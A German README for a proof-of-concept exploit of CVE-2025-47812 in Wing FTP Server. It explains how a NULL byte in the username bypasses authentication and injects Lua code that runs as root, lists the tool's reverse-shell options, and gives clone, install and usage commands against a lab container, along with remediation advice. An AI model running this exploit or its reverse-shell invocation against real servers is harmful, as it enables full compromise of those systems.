
Exploit für CVE-2025-47812 mit benutzerdefinierter Pseudo-Shell und robuster Fehlerbehandlung.
CVE-2025-47812 – Fehlerhafte Eingabevalidierung führte zu Remote Code Execution und vollständiger Systemkompromittierung
Julien Ahrens von RCE Security entdeckte eine kritische Sicherheitslücke, die WingFTP betrifft. Die Schwachstelle wird als CVE-2025-47812 geführt und hat einen CVSS-Score von 10. Eine erfolgreiche Ausnutzung der Schwachstelle könnte einem entfernten, nicht authentifizierten Angreifer ermöglichen, beliebigen Code auszuführen, was zu einer vollständigen Systemkompromittierung führt.
Wing FTP Server ist eine plattformübergreifende, benutzerfreundliche und sichere FTP-Server-Software. Sie unterstützt mehrere Dateiübertragungsprotokolle wie FTP, FTPS, HTTP, HTTPS und SFTP und bietet so Flexibilität für Client-Verbindungen.
Um CVE-2025-47812 zu untersuchen, habe ich einen Docker-Container mit Wing FTP Server 7.4.3 auf einem Linux-Host bereitgestellt. Der Container wurde so konfiguriert, dass er die Weboberfläche verfügbar macht, und ich habe den anonymen Login für einfachere Tests ohne Authentifizierung aktiviert. Zusätzlich wurde ein Testbenutzerkonto (dev-test:test) erstellt, um authentifizierte Szenarien zu simulieren. Dieses Setup bot eine sichere und kontrollierte Umgebung, um die Schwachstelle zu reproduzieren und das Exploit-Verhalten zu validieren.
CVE-ID: CVE-2025-47812
CVSS v3.1 Vektor:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Basis-Score: 10.0 (Kritisch)
Betroffene Software: <= 7.4.3
Auswirkung: Remote Code Execution führte zur vollständigen Systemkompromittierung.
Voraussetzungen für die Ausnutzung:
Anonymer Login erlaubt oder gültige Benutzeranmeldedaten
Keine sudo-Berechtigungen für den Benutzer erforderlich
Wenn ein Benutzer versucht, sich anzumelden, wird der Aufruf c_CheckUser ausgeführt, der immer OK_CHECK_CONNECTION zurückgibt, unabhängig davon, was nach dem NULL-Byte im Benutzernamen steht, solange die Zeichenfolge vor dem NULL-Byte mit einem vorhandenen Benutzer übereinstimmt. Ein Angreifer kann die Schwachstelle ausnutzen, indem er einem bekannten Benutzernamen ein NULL-Byte und zusätzliche Werte hinzufügt, um die Passwortprüfung zu umgehen. Das System verwendet strlen() für unseren Benutzernamen, um die Zeichenfolgenlänge zu ermitteln, aber strlen zählt nur alle Zeichen bis zum NULL-Byte-Terminator, um den nicht bereinigten Benutzernamen abzugleichen.
Der nicht bereinigte Benutzername (einschließlich des injizierten NULL-Bytes und des schlauen Payloads) wird direkt als Lua-Code in Sitzungsdateien gespeichert. Diese Sitzungsdateien ähneln .lua-Dateien und werden später ausgeführt, wenn Sitzungen geladen werden. Unter Linux läuft der Wing FTP Server als root; unter Windows läuft er als SYSTEM. Der injizierte Lua-Payload wird beim erneuten Laden der Sitzung mit vollen Rechten ausgeführt.
Hinweis: Dieses Verhalten tritt nur auf, wenn das Passwort nicht gesetzt ist oder mit gültigen Anmeldedaten. Wenn für den Benutzer ein Passwort festgelegt ist, wird eine strenge Passwortvalidierung erzwungen.
Optionen:
-t, --target Ziel-Wing-FTP-Server-URL (z. B. http://192.168.1.100)
-u, --username Benutzername für die Authentifizierung (Standard: anonymous)
-p, --password Passwort für die Authentifizierung (Standard: leer)
-lh, --lhost Lokaler Host zum Lauschen auf die Reverse Shell (Standard: 127.0.0.1)
-lp, --lport Lokaler Port zum Lauschen auf die Reverse Shell (Standard: 31337)
-ns, --no-shell Gibt an, dass der Exploit keine temporäre Shell starten soll. (Hinweis: Falls gesetzt, muss der Listener manuell eingerichtet werden)
-v, --verbose Ausführliche/Debug-Ausgabe aktivieren
-h, --help Diese Hilfemeldung anzeigen und beenden
git clone https://github.com/pevinkumar10/CVE-2025-47812
cd CVE-2025-47812
pip3 install -r requirements.txt
CVE-2025-47812 - Wing FTP Server Unauthenticated RCE
CVE-2025-47812 - Wing FTP Server authentifizierte RCE (dev-test:test)
Beispielhafte Verwendung:
python3 exploit.py --target http://172.17.0.2 --lhost 172.17.0.1 -lport 31336
Benutzer müssen auf WingFTP Version 7.4.4 aktualisieren, um die Schwachstelle zu beheben.
Weitere Informationen finden Sie in den WingFTP-Release-Hinweisen.
Hinweis: Ich habe die obigen Referenzen zu Forschungszwecken verwendet und den Exploit mit weiteren Funktionen und robuster Fehlerbehandlung aktualisiert.
Dieser Python-PoC wird unter der MIT-Lizenz veröffentlicht. Das ursprüngliche Exploit-Konzept und die Offenlegung stammen vom Stratascale Cyber Research Unit.